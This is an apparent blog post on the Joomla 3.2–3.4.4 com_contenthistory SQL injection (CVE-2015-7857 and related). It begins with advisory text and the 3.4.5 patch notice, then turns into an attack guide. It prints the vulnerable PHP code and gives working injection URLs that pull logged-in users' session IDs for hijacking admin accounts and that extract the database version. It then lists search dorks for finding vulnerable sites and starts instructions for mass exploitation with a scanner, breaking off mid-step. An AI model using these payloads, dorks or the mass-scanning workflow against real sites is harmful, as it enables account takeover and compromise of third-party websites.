Joomla CMS that affects more than 2.8 million sites.Joomla is probably one of web content management (or CMS) more used to creating websites at the enterprise level but also widely used for developing personal websites.It is an Open source software under the GNU / GPL license, being updated by a community of programmers organized a non-profit structure (Joomla.org).According to Trustwave joomla CMS (3.2 to 3.4.4) have serious security flaws enabling SQL Injection-type attacks which allow attackers to "win" platform Administrator privilegesTrustwave SpiderLabs researcher Asaf Orpani has discovered an SQL injection vulnerability in versions 3.2 through 3.4.4 of Joomla, a popular open-source Content Management System (CMS). Combining that vulnerability with other security weaknesses, our Trustwave SpiderLabs researchers are able to gain full administrative access to any vulnerable Joomla site.Joomla had a 6.6 percent share of the market for website CMSs as of October 20, 2015 according to W3Techssecond only to WordPress. Internet services company BuiltWith estimates that as many as 2.8 million websites worldwide use Joomla.CVE-2015-7297, CVE-2015-7857, and CVE-2015-7858 cover the SQL injection vulnerability and various mutations related to it.CVE-2015-7857 enables an unauthorized remote user to gain administrator privileges by hijacking the administrator session. Following exploitation of the vulnerability, the attacker may gain full control of the web site and execute additional attacks.The vulnerability can be exploited in Joomla versions 3.2 (released in November 2013) through version 3.4.4.Because the vulnerability is found in a core module that doesn't require any extensions, all websites that use Joomla versions 3.2 and above are vulnerable.Asaf also uncovered the related vulnerabilities CVE-2015-7858 and CVE-2015-7297 as part of his research.Trustwave SpiderLabs recommends that ALL Joomla users update their Joomla installations to version 3.4.5.UPDATE:https://www.joomla.org/announcements/release-news/5634-joomla-3-4-5-released.htmlSource INFO-> [ More Info ]It was found that the following code snippet is vulnerable SQLI:PWD: /administrator/components/com_contenthistory/models/history.phpFUNCTION FULL: /** * Build an SQL query to load the list data. * * @return JDatabaseQuery * * @since 3.2 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' . 'h.character_count, h.sha1_hash, h.version_data, h.keep_forever' ) ) ->from($db->quoteName('#__ucm_history') . ' AS h') ->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id')) ->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id')) // Join over the users for the editor ->select('uc.name AS editor') ->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id'); // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $query->order($db->quoteName($orderCol) . $orderDirn); return $query; }CODE FULL:http://pastebin.com/9FnPuns5PoC:REQUEST GEThttp://{TARGET}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1 &list[select]= (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM jml_session LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)It is possible to extract session ID (cookies) of users logged into the system and set in your browser.Video demonstration:In this article we will work SQLI exploitation.RETURN REQUEST - Exemple Explotation:URL:http://{TARGET}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=1+AND+(SELECT+5030+FROM(SELECT+COUNT(*),CONCAT(0x203a494e55524c42523a20,version(),0x203a494e55524c42523a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)PRINT REQUEST:Base validation:ENCODER HEX = :INURLBR: RESULT = 0x203a494e55524c42523a20INJECT: 0x203a494e55524c42523a20,version(),0x203a494e55524c42523a20....DORK:components/com_contenthistory/inurl:com_contenthistoryindex.php?option=com_contenthistory"index of" components/com_contenthistory/inurl:"components/com_contenthistory/"inurl:"index.php?option=com_contenthistory"Search demonstration:Using inurlbr scanner for mass exploitation: Download script: https://github.com/googleinurl/SCANNER-INURLBR- Creating our commandSET DORK: --dork 'YOU_DORK' OR --dork-file 'YOU_FILE_DORK.txt'SET SEARCH ENGINES:-q all we will use all the search engines available in the scriptSET OUTPUT FILE: -s com_contenthistory.txtSET TIPE VALIDATION: -t 2 2 The second